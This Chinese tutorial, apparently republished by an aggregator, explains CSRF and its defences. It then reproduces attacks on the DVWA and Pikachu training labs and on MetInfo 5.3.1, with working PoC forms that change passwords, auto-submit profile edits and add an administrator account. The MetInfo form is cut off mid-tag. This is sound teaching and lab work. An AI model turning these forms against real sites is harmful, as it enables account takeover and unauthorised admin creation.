CSRF攻击原理及防御和相关漏洞复现

Posted 南岸青栀*

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CSRF攻击原理及防御和相关漏洞复现相关的知识,希望对你有一定的参考价值。

文章目录

CSRF攻击原理及防御和相关漏洞复现

CSRF(Cross-site request forgery)跨站请求伪造,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

CSRF攻击原理及过程:

过程

1.用户打开浏览器,访问受信任银行网站,输入用户名密码请求登陆网站
2.在用户信息通过验证后,银行产生Cookie信息并返回给浏览器,此时用户登陆网站成功,可以正常发送请求到网站。
3.用户未退出银行网站之前,在同一浏览器中,打开一个tab页访问其他网站B
4.这个时候网站B已被黑客注入诱导信息,加入的是一张图片,图片地址指向src=”http://bank.example/withdraw?account=bob&amount=1000000&for=黑客点击之后转账给黑客这个账户
5.浏览器在接收到这些攻击性代码请求后。根据网站B的请求,在用户不知情的情况下携带Cookie信息,根据用户的Cookie信息以C的权限处理该请求,导致来自黑客请求恶意代码被执行

原理:

攻击者盗用你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息、盗取你的账号、添加系统管理员、甚至于购买商品、虚拟货币转账等。

CSRF防御

1.验证HTTP referer字段

根据HTTP协议,在HTTP头中有一个字段叫referer,它记录了该HTTP请求的来源地址。
验证referer

也就是说,服务器会验证客户端的请求来源,如果本网站请求的则响应,否则不响应。

但是即使这样,验证 HTTP Referer 字段 这种方式也存在安全隐患

1.对于某些浏览器,比如 IE6 或 FF2,目前已经有一些方法可以篡改 Referer 值
2.用户自己可以设置浏览器使其在发送请求时不再提供 Referer

2.加验证码验证

但这种方式涉及到页面交互,在通常情况下,验证码能很好遏制CSRF攻击。但是出于用户体验考虑,网站不能给所有的操作都加上验证码。因此验证码只能作为一种辅助手段,不能作为主要解决方案。

token

过程:
1.用户访问某个表单页面
2.服务端生成一个token,放在用户的session中,或者浏览器的Cookie中
3.在页面表单附带上token参数
4.用户提交请求后,服务端验证表单中的token是否有与用户session或Cookies中的token一致,一致为合法请求,不是则非法请求。

这个Token的值必须是随机的。由于Token的存在,攻击者无法再构造一个带有合法Token的请求实施CSRF攻击。另外使用Token时应注意Token的保密性,尽量把敏感操作由GET改为POST,以form或AJAX形式提交,避免Token泄露。

DVWA靶机

Low

没有任何验证,所以直接将连接使用短连接生成器生成短链。

http://10.4.192.139/DVWA/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#

源码:

Medium

源码:

查看源码,发现使用referer与主机名进行判断,所以,使用之前的短链,会出现That request didn't look correct.

所以使用burpsuite进行抓包,添加referer

密码修改成功

另一种解法

创建一个表单,诱导用户点击

表单源码

<!-- //http://10.4.192.139/DVWA/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change# -->

<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<title></title>
	</head>
	<body>
		<form action="http://10.4.192.139/DVWA/vulnerabilities/csrf/" method="GET">
			<input type="password" AUTOCOMPLETE="off" name="password_new" value="azb123"><br />
			<input type="password" AUTOCOMPLETE="off" name="password_conf" value="azb123"><br />
			<input type="submit" value="Change" name="Change">
		</form>
	</body>
</html>

效果图

点击之后显示修改

High

源码:

token是使用get请求发送的,所以使用burpsuite的插件

设置CSRF token插件

然后代理抓包,抓到后放入repeater

发现每次都可以修改

pikachu平台CSRF

CSRF(get)


太简单不说了,请求页面http://10.4.192.139/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=18626545453&add=chain&email=vince%40pikachu.com&submit=submit就OK了,然后可以伪装成短链

CSRF(post)

因为是post请求,所以使用构造表单的方式。

构造表单源码

<html>
	<head>
		<meta charset="utf-8">
		<title></title>
		<script>
			window.onload = function()
				document.getElementById('postsubmit').click();
			
		</script>
	</head>
	<body>
		<form action="http://10.4.192.139/pikachu/vul/csrf/csrfpost/csrf_post_edit.php " method="post">
		   <p class="per_name">姓名:vince</p>
		   <p class="per_sex">性别:<input type="text" name="sex" value="hhhh"></p>
		   <p class="per_phone">手机:<input class="phonenum" type="text" name="phonenum" value="13333334444"></p>    
		   <p class="per_add">住址:<input class="add" type="text" name="add" value="chain"></p> 
		   <p class="per_email">邮箱:<input class="email" type="text" name="email" value="vince@pikachu.com"></p> 
		   <input class="sub" type="submit" name="submit" id="postsubmit" value="submit">
		</form>
	</body>
</html>	


CSRF(token)

上才艺

get请求加上了token,好了,这个和前面DVWA的High难度是一样的使用burpsuite的CSRF token Tracker

MetInfo5.3.1CSRF漏洞

进入后台页面

查看框架源代码

尝试添加管理员使用burpsuite进行抓包

Burpsuite抓到请求包

将其发送到repeater,使用CSRF poc

copy html代码,将其放在同源目录下

 <html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.43.61/MetInfo/admin/admin/save.php?action=add&lang=cn&anyid=47" method="POST">
      <input type="hidden" name="useid" value="csrf&#95;poc" />
      <input type="hidden" name="pass1" value="azb123" />
      <input type="hidden" name="pass2" value="azb123" />
      <input type="hidden" name="name" value="csrf" />
      <input type="hidden" name="sex" value="0" />
      <input type="hidden" name="tel" value="1234568" />
      <input type="hidden" name="mobile" value="13912345678" />
      <input type="hidden" name="email" value="123456&#64;qq&#46;com" />
      <input type="hidden" name="qq" value="" />
      <input type="hidden" name="msn" value="" />
      <input type="hidden" name="taobao" value="" />
      <input type="hidden" name="admin&#95;introduction" value="" />
      <input type="hidden" name="admin&#95;group" value="3" />
      <input type="hidden" name="admin&#95;pop1801" value="1801" />
      <input type="hidden" name="admin&#95;op0" value="metinfo" />
      <input type="hidden" name="admin&#95;op1" value="add" />
      <input type="hidden" name="admin&#95;op2" value="editor" />
      <input type="hidden" name="admin&#95;op3" value="del" />
      <input type="hidden" name="admin&#95;pop" value="yes" />
      <input type="hidden" name="admin&#95;pops1301" value="s1301" />
      <input type="hidden" name="admin&#95;popc1" value="c1" />
      <input type="hidden" name="admin&#95;popc2" value="c2" />
      <input type="hidden" name="admin&#95;popc3" value="c3" />
      <input type="hidden" name="admin&#95;popc25" value="c25" />
      <input type="hidden" name="admin&#95;popc31" value="c31" />
      <input type="hidden" name="admin&#95;popc32" value="c32" />
      <input type="hidden" name="admin&#95;popc33" value="c33" />
      <input type="hidden" name="admin&#95;popc36" value="c36" />
      <input type="hidden" name="admin&#95;pop9999" value="9999" />
      <input type="hidden" name="admin&#95;pops1401" value="s1401" />
      <input type="hidden" name="admin&#95;pops1106" value="s1106" />
      <input type="hidden" name="admin&#95;pops1404" value="s1404" />
      <input type以上是关于CSRF攻击原理及防御和相关漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章

CSRF漏洞攻击原理及防御方案

CSRF漏洞原理+案例演示及修复策略

CSRF 漏洞原理详解及防御方法

CSRF的攻击与防御 详细版

Android漏洞复现StrandHogg漏洞复现及原理分析_Android系统上的维京海盗

浅析CSRF的防御和攻击案例